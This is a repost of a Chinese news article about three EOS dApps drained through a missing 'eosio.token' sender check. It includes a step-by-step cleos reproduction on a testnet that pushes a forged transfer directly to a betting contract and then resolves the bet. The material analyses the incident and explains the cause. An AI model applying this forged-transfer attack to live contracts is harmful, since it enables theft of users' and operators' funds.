三大EOS DAPP被黑客攻破薅走数万EOS

栏目: 编程工具 · 发布时间: 6年前

内容简介:昨天,日收万金的EOS大赌场:eosbet 被黑客攻击了——黑客aabbccddeefg 利用合约漏洞,零成本薅走 bet 奖池约 5万EOS。官方紧急发表声明,并关闭了游戏:eosbet刚被攻击关停,排名其后的

昨天,日收万金的EOS大赌场:eosbet 被黑客攻击了——黑客aabbccddeefg 利用合约漏洞,零成本薅走 bet 奖池约 5万EOS。

三大EOS DAPP被黑客攻破薅走数万EOS
eosbet

官方紧急发表声明,并关闭了游戏:

三大EOS DAPP被黑客攻破薅走数万EOS
eosbet官方紧急关闭了游戏

eosbet刚被攻击关停,排名其后的 dice游戏被同一个黑客再次攻破 ,使用同样的攻击手段, 转走大量EOS。。。。去中心化交易所 newdex也被用同样的手段攻破 。。。。。EOS Dapp前10中有3个被黑客成功攻破。。。。一下子,开发者都砸开了,难道是eos公链存在什么妖蛾子?

不过很快,币乎的一个技术大牛找到了问题的原因—— 仅仅因为缺少对代码调用是否来源于“eosio.token” 的判断 !我勒个去,这些开发者难道是零时工吗?这样低级的错误都能犯!

有大牛还原了黑客攻击流程(币乎作者cj1991)

在测试网,部署被攻击时的代码,实现一遍攻击方式,看看是否有效。

github代码: https://github.com/ganjingcun/bet-death-causes

这些代码是9月12号前 用get code 拉下来的。所以,我只是还原了作案现场。事情不是我干的。是大神v5。

cleos -u http://api1.eosasia.one get code -a betdice.abi -c betdice.wast eosbetdice11  cleos -u http://api1.eosasia.one get code -a safetransfer.abi -c safetransfer.wast safetransfer
// create account  cleos create account eosio eosbetdice11 EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi  cleos create account eosio safetransfer EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi  cleos create account eosio eosbetcasino EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi
// set code  cleos set code eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.wast  cleos set abi eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.abi
cleos set code safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.wast  cleos set abi safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.abi
// set permission  cleos set account permission eosbetdice11 active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p eosbetdice11@owner  cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”safetransfer”,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner  cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner
cleos set account permission eosbetcasino random ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[]}’ owner -p eosbetcasino@owner
// initcontract  cleos push action eosbetdice11 initcontract ‘{“randomness_key”:”EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”}’ -p eosbetcasino
// test  cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon
// result  cleos get actions joetothemoon
cleos get table eosbetdice11 eosbetdice11 activebets
// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。  cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random
 

步骤稍微讲解下,就是在测试网,创建相关账号,然后部署合约,然后执行攻击手段,然后开奖,成功证明,确实是 缺少了 判断 “eosio.token” 引起的。先执行 :

// test  cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon

也就是直接调用 合约的 tranfer :发现执行成功。获取等待开奖的下注记录:

cleos get table eosbetdice11 eosbetdice11 activebets

由于bet 的开奖方式,是先生成下注记录,然后在用一个号来开奖,所以,我们手动一步步还原的过程中,下注记录是存在的,接下来,就是调用开奖了:获取bet_id, 然后用 eosbetcasino 开奖

// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。

cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random

这里的开奖方式注意下,需要传入一个签名。请自己去生成。从直接调用 tansfer ,到生成下注记录,再到调用开奖。结论已经很明显了。根本不存在什么毁灭性bug,只是有一个 程序员 要祭天了而已..

文章来自: CocosBCX投资者社区 ( 原文链接

访问资讯分类,查看更多有价值的 区块链游戏 资讯。


以上所述就是小编给大家介绍的《三大EOS DAPP被黑客攻破薅走数万EOS》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

从Python开始学编程

从Python开始学编程

Vamei / 电子工业出版社 / 2016-11-24 / CNY 49.00

改编自Vamei博客的《Python快速教程》。本书以Python为样本,不仅介绍了编程的基本概念,还着重讲解编程语言的主流范式:面向过程、面向对象、面向函数。读者不仅可以轻松学会Python,以后再学习其他编程语言时也会更加容易。一起来看看 《从Python开始学编程》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具